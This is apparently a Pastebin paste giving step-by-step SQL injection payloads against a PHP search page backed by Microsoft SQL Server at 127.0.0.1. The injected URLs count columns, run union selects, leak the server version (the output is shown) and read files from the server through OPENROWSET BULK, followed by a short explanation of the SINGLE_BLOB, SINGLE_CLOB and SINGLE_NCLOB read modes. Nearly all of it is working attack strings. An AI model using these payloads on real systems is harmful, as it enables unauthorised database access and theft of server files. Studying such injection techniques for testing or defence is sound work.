Advertisement
Not a member of Pastebin yet?
Sign Up,
it unlocks many cool features!
- Vulnerable Link:
- 127.0.0.1/search3.php?name=username
- Getting Columns:
- 127.0.0.1/search3.php?name=username order by 1--
- Selecting Columns:
- 127.0.0.1/search3.php?name=username union select 1--
- Checking Version:
- 127.0.0.1/search3.php?name=username union select @@version--
- Output: Microsoft SQL Server 2014 – 12.0.2000.8 (X64) Feb 20 2014 20:04:26 Copyright (c) Microsoft Corporation Express Edition (64-bit) on Windows NT 6.2 (Build 9200: )
- Reading Files:
- 127.0.0.1/search3.php?name=username union select * FROM OPENROWSET (BULK 'C:\xampp\htdocs\HereWeGo.txt', SINGLE_CLOB) MyFile
- This is my simple query related to OEPNROWSET.
- Explanation:
- OPENROWSET: OPENROWSET is a function that allows you to read Data using SQL Server’s BULK import capability. You can actually read anything you want on that Sql Server as long as you have the Full Path Related to It and as long as your MsSql User have the privileges to deal with Files.
- BULK: This can be explained by reading 1.
- SINGLE_CLOB: Okay, there’s 3 different types:
- SINGLE_BLOB, which reads a file as varbinary
- SINGLE_CLOB, which reads a file as varchar
- SINGLE_NCLOB, which reads a file as nvarchar
Advertisement
Add Comment
Please, Sign In to add comment
Advertisement
